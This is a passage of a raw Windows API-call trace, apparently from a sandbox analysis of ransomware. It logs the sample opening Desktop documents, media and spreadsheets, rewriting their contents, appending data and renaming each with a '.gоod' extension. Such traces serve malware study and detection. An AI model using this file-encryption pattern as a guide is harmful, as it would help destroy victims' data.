lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaa2b6a0, ftCreationTime.dwHighDateTime=0x1d4cf35, ftLastAccessTime.dwLowDateTime=0xe4552340, ftLastAccessTime.dwHighDateTime=0x1d4ca7b, ftLastWriteTime.dwLowDateTime=0x70e69234, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20e2)) returned 1 [0195.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0195.763] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\hidyxzh7pebvtby.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\hidyxzh7pebvtby.jpg.gоod")) returned 1 [0195.763] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx", lpFilePart=0x0) returned 0x30 [0195.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0195.763] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\j30oybmwxo_7keqk41v.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x36a0138 | out: lpFileInformation=0x36a0138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7951a960, ftCreationTime.dwHighDateTime=0x1d4d06b, ftLastAccessTime.dwLowDateTime=0x1276a60, ftLastAccessTime.dwHighDateTime=0x1d4ca03, ftLastWriteTime.dwLowDateTime=0x1276a60, ftLastWriteTime.dwHighDateTime=0x1d4ca03, nFileSizeHigh=0x0, nFileSizeLow=0x13bbb)) returned 1 [0195.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0195.764] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx", lpFilePart=0x0) returned 0x30 [0195.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0195.764] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\j30oybmwxo_7keqk41v.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0195.764] GetFileType (hFile=0x838) returned 0x1 [0195.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0195.764] GetFileType (hFile=0x838) returned 0x1 [0195.764] SetFilePointer (in: hFile=0x838, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0195.764] ReadFile (in: hFile=0x838, lpBuffer=0x36a0530, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x36a0530*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0195.764] CloseHandle (hObject=0x838) returned 1 [0195.764] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx", lpFilePart=0x0) returned 0x30 [0195.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0195.764] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\j30oybmwxo_7keqk41v.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0195.765] GetFileType (hFile=0x838) returned 0x1 [0195.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0195.765] GetFileType (hFile=0x838) returned 0x1 [0195.765] SetFilePointer (in: hFile=0x838, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x13bbb [0195.765] WriteFile (in: hFile=0x838, lpBuffer=0x36a17b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x36a17b8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0195.765] CloseHandle (hObject=0x838) returned 1 [0195.765] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx", lpFilePart=0x0) returned 0x30 [0195.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0195.765] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\j30oybmwxo_7keqk41v.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0195.765] GetFileType (hFile=0x838) returned 0x1 [0195.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0195.765] GetFileType (hFile=0x838) returned 0x1 [0195.765] ReadFile (in: hFile=0x838, lpBuffer=0x36a3a68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x36a3a68*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0196.293] CloseHandle (hObject=0x838) returned 1 [0196.293] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx", lpFilePart=0x0) returned 0x30 [0196.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0196.293] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\j30oybmwxo_7keqk41v.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0196.293] GetFileType (hFile=0x838) returned 0x1 [0196.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0196.293] GetFileType (hFile=0x838) returned 0x1 [0196.293] WriteFile (in: hFile=0x838, lpBuffer=0x357a860*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x357a860*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0196.293] CloseHandle (hObject=0x838) returned 1 [0196.294] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx", lpFilePart=0x0) returned 0x30 [0196.294] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx.gоod", lpFilePart=0x0) returned 0x35 [0196.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0196.294] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\j30oybmwxo_7keqk41v.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7951a960, ftCreationTime.dwHighDateTime=0x1d4d06b, ftLastAccessTime.dwLowDateTime=0x1276a60, ftLastAccessTime.dwHighDateTime=0x1d4ca03, ftLastWriteTime.dwLowDateTime=0x7137a43a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13bcb)) returned 1 [0196.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0196.294] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\j30oybmwxo_7keqk41v.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\J30oyBmwxo_7keQK41v.xlsx.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\j30oybmwxo_7keqk41v.xlsx.gоod")) returned 1 [0196.295] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a", lpFilePart=0x0) returned 0x2c [0196.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0196.295] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\jddttyhodvukacc9.m4a"), fInfoLevelId=0x0, lpFileInformation=0x3797400 | out: lpFileInformation=0x3797400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bdeed80, ftCreationTime.dwHighDateTime=0x1d4d029, ftLastAccessTime.dwLowDateTime=0xbaad3aa0, ftLastAccessTime.dwHighDateTime=0x1d4c918, ftLastWriteTime.dwLowDateTime=0xbaad3aa0, ftLastWriteTime.dwHighDateTime=0x1d4c918, nFileSizeHigh=0x0, nFileSizeLow=0x7ec)) returned 1 [0196.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0196.295] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a", lpFilePart=0x0) returned 0x2c [0196.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0196.295] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\jddttyhodvukacc9.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0196.295] GetFileType (hFile=0x838) returned 0x1 [0196.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0196.295] GetFileType (hFile=0x838) returned 0x1 [0196.295] GetFileSize (in: hFile=0x838, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x7ec [0196.296] ReadFile (in: hFile=0x838, lpBuffer=0x3797e58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x3797e58*, lpNumberOfBytesRead=0x1f9ee638*=0x7ec, lpOverlapped=0x0) returned 1 [0196.296] CloseHandle (hObject=0x838) returned 1 [0196.443] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a", lpFilePart=0x0) returned 0x2c [0196.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0196.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\jddttyhodvukacc9.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0196.445] GetFileType (hFile=0x838) returned 0x1 [0196.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0196.445] GetFileType (hFile=0x838) returned 0x1 [0196.445] WriteFile (in: hFile=0x838, lpBuffer=0x361d9d0*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x361d9d0*, lpNumberOfBytesWritten=0x1f9ee548*=0x7f0, lpOverlapped=0x0) returned 1 [0196.446] CloseHandle (hObject=0x838) returned 1 [0196.446] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a", lpFilePart=0x0) returned 0x2c [0196.446] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a.gоod", lpFilePart=0x0) returned 0x31 [0196.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0196.446] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\jddttyhodvukacc9.m4a"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bdeed80, ftCreationTime.dwHighDateTime=0x1d4d029, ftLastAccessTime.dwLowDateTime=0xbaad3aa0, ftLastAccessTime.dwHighDateTime=0x1d4c918, ftLastWriteTime.dwLowDateTime=0x714d19e2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7f0)) returned 1 [0196.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0196.446] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\jddttyhodvukacc9.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\JDDtTYhODvukacc9.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\jddttyhodvukacc9.m4a.gоod")) returned 1 [0196.447] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx", lpFilePart=0x0) returned 0x21 [0196.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0196.447] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\l2gi.docx"), fInfoLevelId=0x0, lpFileInformation=0x361ebd0 | out: lpFileInformation=0x361ebd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37201800, ftCreationTime.dwHighDateTime=0x1d4c63a, ftLastAccessTime.dwLowDateTime=0xa897db80, ftLastAccessTime.dwHighDateTime=0x1d4c86a, ftLastWriteTime.dwLowDateTime=0xa897db80, ftLastWriteTime.dwHighDateTime=0x1d4c86a, nFileSizeHigh=0x0, nFileSizeLow=0x7b3c)) returned 1 [0196.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0196.447] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx", lpFilePart=0x0) returned 0x21 [0196.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0196.447] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\l2gi.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0196.448] GetFileType (hFile=0x838) returned 0x1 [0196.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0196.448] GetFileType (hFile=0x838) returned 0x1 [0196.448] SetFilePointer (in: hFile=0x838, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0196.448] ReadFile (in: hFile=0x838, lpBuffer=0x361ef48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x361ef48*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0196.449] CloseHandle (hObject=0x838) returned 1 [0196.449] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx", lpFilePart=0x0) returned 0x21 [0196.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0196.449] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\l2gi.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0196.603] GetFileType (hFile=0x838) returned 0x1 [0196.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0196.603] GetFileType (hFile=0x838) returned 0x1 [0196.603] SetFilePointer (in: hFile=0x838, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x7b3c [0196.603] WriteFile (in: hFile=0x838, lpBuffer=0x35d4fe0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x35d4fe0*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0196.604] CloseHandle (hObject=0x838) returned 1 [0196.604] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx", lpFilePart=0x0) returned 0x21 [0196.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0196.607] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\l2gi.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0196.608] GetFileType (hFile=0x838) returned 0x1 [0196.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0196.609] GetFileType (hFile=0x838) returned 0x1 [0196.609] ReadFile (in: hFile=0x838, lpBuffer=0x35d7250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x35d7250*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0196.636] CloseHandle (hObject=0x838) returned 1 [0196.636] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx", lpFilePart=0x0) returned 0x21 [0196.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0196.636] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\l2gi.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0196.636] GetFileType (hFile=0x838) returned 0x1 [0196.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0196.636] GetFileType (hFile=0x838) returned 0x1 [0196.636] WriteFile (in: hFile=0x838, lpBuffer=0x35d5ff8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x35d5ff8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0196.637] CloseHandle (hObject=0x838) returned 1 [0196.637] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx", lpFilePart=0x0) returned 0x21 [0196.637] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx.gоod", lpFilePart=0x0) returned 0x26 [0196.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0196.637] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\l2gi.docx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37201800, ftCreationTime.dwHighDateTime=0x1d4c63a, ftLastAccessTime.dwLowDateTime=0xa897db80, ftLastAccessTime.dwHighDateTime=0x1d4c86a, ftLastWriteTime.dwLowDateTime=0x716c17c5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7b4c)) returned 1 [0196.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0196.637] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\l2gi.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\l2gI.docx.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\l2gi.docx.gоod")) returned 1 [0196.638] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav", lpFilePart=0x0) returned 0x2c [0196.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0196.638] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\lps2vqmf 4ohqveq.wav"), fInfoLevelId=0x0, lpFileInformation=0x3654548 | out: lpFileInformation=0x3654548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e44f10, ftCreationTime.dwHighDateTime=0x1d4cd32, ftLastAccessTime.dwLowDateTime=0x2faacf10, ftLastAccessTime.dwHighDateTime=0x1d4d545, ftLastWriteTime.dwLowDateTime=0x2faacf10, ftLastWriteTime.dwHighDateTime=0x1d4d545, nFileSizeHigh=0x0, nFileSizeLow=0x4c58)) returned 1 [0196.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0196.638] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav", lpFilePart=0x0) returned 0x2c [0196.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0196.638] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\lps2vqmf 4ohqveq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0196.638] GetFileType (hFile=0x838) returned 0x1 [0196.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0196.639] GetFileType (hFile=0x838) returned 0x1 [0196.639] SetFilePointer (in: hFile=0x838, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0196.639] ReadFile (in: hFile=0x838, lpBuffer=0x3654920, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3654920*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0196.639] CloseHandle (hObject=0x838) returned 1 [0196.639] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav", lpFilePart=0x0) returned 0x2c [0196.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0196.640] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\LPs2VQmf 4OhqVEQ.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\lps2vqmf 4ohqveq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0196.640] GetFileType (hFile=0x838) returned 0x1 [0196.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0196.640] GetFileType (hFile=0x838) returned 0x1 [0196.640] SetFilePointer (in: hFile=0x838, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x4c58 [0196.640] WriteFile (in: hFile=0x838, 